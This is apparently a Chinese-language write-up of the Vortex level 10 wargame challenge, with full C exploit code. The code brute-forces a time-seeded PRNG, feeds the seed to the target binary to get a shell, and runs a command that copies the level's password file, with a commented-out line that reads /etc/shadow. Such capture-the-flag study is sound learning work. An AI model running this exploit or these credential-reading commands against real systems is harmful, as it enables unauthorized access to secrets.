由于time(0)
的值的大致范围是知道的,关键就是v12的值。这里v12>>31
会得到0xffffffff或是0x0,接下来的>>24
就会得到0xff或是0x0。于是最终范围在128-256=-128与128+256=384之间,可以穷举出来。
另一方面,我们要读他的数,并反馈。与vortex0类似,我还是不知道怎么用shell, fifo等完成。于是在c程序里fork,并用pipe
和dup2
等来进行父进程、子进程的数据传输。
但最后的问题是,得到shell之后如何与其交互?试了好几种方法都不行。最后在我的机子上可以再将命令从父程序通过pipe送到子程序,再输出结果。不过在ssh那里想要cat文件内容不成功,最后只好install把密码文件复制一份
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
/* parent --(fd1)--> child
* child --(fd2)--> parent */
int fd1[2], fd2[2];
pipe(fd1);
pipe(fd2);
pid_t pid = fork();
if(pid==0) {
close(fd1[1]);
dup2(fd1[0], 0);
close(fd2[0]);
dup2(fd2[1], 1);
execl("./vortex10", NULL);
}
time_t nowT = time(0);
close(fd1[0]);
close(fd2[1]);
char buf[256];
unsigned int input[20];
ssize_t numRead = 0;
while(numRead < 202) {
numRead += read(fd2[0], buf+numRead, sizeof buf);
}
fprintf(stderr, "%d bytes read\n", numRead);
int match = sscanf(buf, "[ %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x,]",
input+0, input+1, input+2, input+3, input+4, input+5, input+6, input+7, input+8,
input+9, input+10, input+11, input+12, input+13, input+14, input+15, input+16, input+17,
input+18, input+19);
if(match != 20) {
fprintf(stderr, "read error\n");
fprintf(stderr, "%s\n", buf);
return 1;
}
int i, j, k;
time_t now;
for(k=0; k<4; ++k) {
now = nowT - k;
for(i=-128; i<384; ++i) {
srand(now+i);
for(j=0; j<i; ++j)
rand();
for(j=0; j<20; ++j) {
if(rand() != input[j])
break;
}
if(j == 20) {
j += now;
fprintf(stderr, "hit, time is %d, i is %d\n", now, i);
unsigned int ans = now+i;
write(fd1[1], &ans, 4);
char *cmd = "install -m444 /etc/vortex_pass/vortex11 /tmp/nabla\n";
//char *cmd = "cat /etc/shadow\n";
write(fd1[1], cmd, strlen(cmd));
numRead = read(fd2[0], buf, sizeof(buf));
buf[numRead] = 0;
fprintf(stderr, "%s\n", buf);
break;
}
}
}
fprintf(stderr, "end\n");
//dup2(0, fd1[1]);
//dup2(1, fd2[0]);
int status;
waitpid(pid, &status, 0);
return 0;
}